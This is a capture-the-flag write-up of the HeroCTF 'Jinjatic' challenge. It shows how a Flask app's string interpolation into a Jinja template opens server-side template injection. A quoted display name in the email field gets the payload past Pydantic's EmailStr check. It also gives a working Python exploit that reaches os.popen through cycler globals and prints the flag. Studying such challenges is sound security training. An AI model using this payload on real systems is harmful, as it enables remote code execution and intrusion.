Statement #
A platform that allows users to render welcome email’s template for a given customer, sounds great no ?
Deploy on deploy.heroctf.fr
Format: Hero{flag}
Author: Worty
Overview #
The challenge provides the following file tree:
.
├── challenge.yml
├── dist
│ └── jinjatic.tar.xz
├── docker-compose.yml
├── Makefile
├── README.md
└── src
├── challenge
│ ├── app.py
│ ├── requirements.txt
│ └── templates
│ ├── home.html
│ ├── mail.html
│ └── result.html
├── Dockerfile
├── flag.txt
└── getflag.c
5 directories, 13 filesThe site is minimal: the form at /mail accepts an email address, then /render generates a welcome message containing it. Before displaying the result, however, the backend enforces Pydantic’s EmailStr type.
Solution #
From Reflection to SSTI #
Observation. The submitted address reappears in the response. More importantly, the application interpolates it into a string before passing that string to Template(...).render():
Show source code
email_template = '''
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Email Result</title>
<link href="https://stackpath.bootstrapcdn.com/bootstrap/4.5.2/css/bootstrap.min.css" rel="stylesheet">
</head>
<body>
<div class="container mt-5">
<div class="alert alert-success text-center">
<h1>Welcome on the platform!</h1>
<p>Your email to connect is: <strong>%s</strong></p>
</div>
<a href="/mail" class="btn btn-primary">Generate another welcome email</a>
</div>
<script src="https://code.jquery.com/jquery-3.5.1.slim.min.js"></script>
<script src="https://cdn.jsdelivr.net/npm/[email protected]/dist/js/bootstrap.bundle.min.js"></script>
</body>
</html>
'''
...
@app.route('/render', methods=['POST'])
def render_email():
email = request.form.get('email')
try:
email_obj = EmailModel(email=email)
return Template(email_template % (email)).render()
except ValidationError as e:
return render_template('mail.html', error="Invalid email format.")This rendering step turns user input into template code, producing a Jinja SSTI. The following arithmetic probe confirms it:
test+{{7*7}}@heroctf.frThe response contains [email protected]. This initial proof is not enough to run a command, though: useful Jinja payloads require characters such as parentheses, and the whole string still has to pass EmailModel(email=email).
The EmailModel Constraint
#
EmailModel delegates the field check to EmailStr. Following that validation path to validate_email() reveals how addresses with a display name are handled:
m = pretty_email_regex.fullmatch(value) # value = email
name: str | None = None
if m:
unquoted_name, quoted_name, value = m.groups()
name = unquoted_name or quoted_name
email = value.strip()
try:
parts = email_validator.validate_email(email, check_deliverability=False)
except email_validator.EmailNotValidError as e:
raise PydanticCustomError(
'value_error', 'value is not a valid email address: {reason}', {'reason': str(e.args[0])}
) from eWhen the input matches this format, Pydantic separates the display name from the address and sends only the email part to email_validator. The construction of pretty_email_regex shows the accepted forms:
def _build_pretty_email_regex() -> re.Pattern[str]:
name_chars = r'[\w!#$%&\'*+\-/=?^_`{|}~]'
unquoted_name_group = rf'((?:{name_chars}+\s+)*{name_chars}+)'
quoted_name_group = r'"((?:[^"]|\")+)"'
email_group = r'<\s*(.+)\s*>'
return re.compile(rf'\s*(?:{unquoted_name_group}|{quoted_name_group})?\s*{email_group}\s*')
pretty_email_regex = _build_pretty_email_regex()The quoted_name_group accepts the characters needed by the payload, including parentheses and apostrophes. It must be followed by email_group, which holds a genuine address between angle brackets. We can therefore place the Jinja expression in a quoted display name while letting Pydantic validate an innocuous address:
"(SSTI)" <[email protected]>Internal validation applies to the extracted address. The application, however, ignores the resulting email_obj and interpolates the original value from request.form into email_template. The Jinja expression is consequently still present at rendering time: this is the bypass.
Exploitation and Result #
This technique, also documented in the HackTricks Jinja2 SSTI reference, uses cycler’s globals to reach os.popen(). The payload then runs ../getflag, a path consistent with the application running from /app and the binary installed at the filesystem root. The final PoC is:
import requests
url = 'http://dyn03.heroctf.fr:14993/render'
payload = """{{cycler.__init__.__globals__.os.popen('../getflag').read()}}"""
r = requests.post(url, data={'email': f'"({payload})" <[email protected]>'})
print(r.text)The rendered response contains the command output:
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Email Result</title>
<link href="https://stackpath.bootstrapcdn.com/bootstrap/4.5.2/css/bootstrap.min.css" rel="stylesheet">
</head>
<body>
<div class="container mt-5">
<div class="alert alert-success text-center">
<h1>Welcome on the platform!</h1>
<p>Your email to connect is: <strong>"HERO{f815460cee723a7d1ba1f0a70f68482c}" <[email protected]></strong></p>
</div>
<a href="/mail" class="btn btn-primary">Generate another welcome email</a>
</div>
<script src="https://code.jquery.com/jquery-3.5.1.slim.min.js"></script>
<script src="https://cdn.jsdelivr.net/npm/[email protected]/dist/js/bootstrap.bundle.min.js"></script>
</body>
</html>Flag: HERO{f815460cee723a7d1ba1f0a70f68482c}
The key issue is thus the mismatch between the value EmailStr extracts for validation and the original string that the application subsequently passes to Jinja.